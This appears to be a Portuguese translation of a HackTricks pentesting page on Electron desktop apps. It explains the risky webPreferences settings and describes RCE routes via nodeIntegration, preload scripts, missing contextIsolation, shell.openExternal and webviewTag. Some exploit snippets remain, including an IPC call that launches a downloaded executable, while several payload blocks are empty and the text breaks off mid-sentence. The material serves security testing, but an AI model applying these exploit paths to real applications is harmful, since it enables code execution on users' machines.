# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introdução
Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora falte alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação `.asar`, para obter o código você precisa extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
O Electron tem 2 tipos de processos:
- Processo Principal (tem acesso completo ao NodeJS)
- Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)
.png>)
Um **processo de renderização** será uma janela do navegador carregando um arquivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
A aplicação Electron **pode acessar o dispositivo** via APIs do Node, embora possa ser configurada para impedir isso:
- **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
- **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e renderer não estão isolados.
- **`preload`** - vazio por padrão.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.
- Integração do Node em Workers
- **`nodeIntegrationInSubframes`** - está `desligado` por padrão.
- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs do Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron.
- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe.
Exemplo de configuração:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Alguns **RCE payloads** de [aqui](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Captura de tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Injeção de Código Local do Electron
Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o `require()`. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
```html
```
## RCE: preload
O script indicado nesta configuração é l**oaded antes de outros scripts no renderizador**, então tem **acesso ilimitado às APIs do Node**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Portanto, o script pode exportar node-features para páginas:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Se `contextIsolation` estiver ativado, isso não funcionará**
## RCE: XSS + contextIsolation
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página da web e o código interno JavaScript do Electron**, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
1. Executar **JavaScript arbitrário no renderer** (XSS ou navegação para sites externos)
2. **Sobrescrever o método embutido** que é usado no preload ou no código interno do Electron para uma função própria
3. **Acionar** o uso da **função sobrescrita**
4. RCE?
Existem 2 lugares onde métodos embutidos podem ser sobrescritos: No código de preload ou no código interno do Electron:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass do evento de clique
Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Para mais informações sobre esses exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **execução remota de código (RCE)** do lado do cliente, visando scripts de preload ou o código nativo do Electron a partir do processo principal, é efetivamente prevenida com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, que são cruciais para a segurança e funcionalidade do aplicativo:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementar sua própria **lógica de negócios**. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
**Aqui está um pseudocódigo simplificado:**
.png>)
.png>)
As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemplos de exploits de protocolos do Windows incluem:**
```html
```
## RCE: webviewTag + preload IPC vulnerável + shell.openExternal
Essa vulnerabilidade pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **processo de renderização**, que deve ser desativado, pois permite carregar um script dentro do contexto de preload como:
```xml
```
Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um script de pré-carregamento arbitrário**.
Esse script de pré-carregamento foi abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Leitura de Arquivos Internos: XSS + contextIsolation
**Desabilitar `contextIsolation` permite o uso de `` tags**, semelhante a `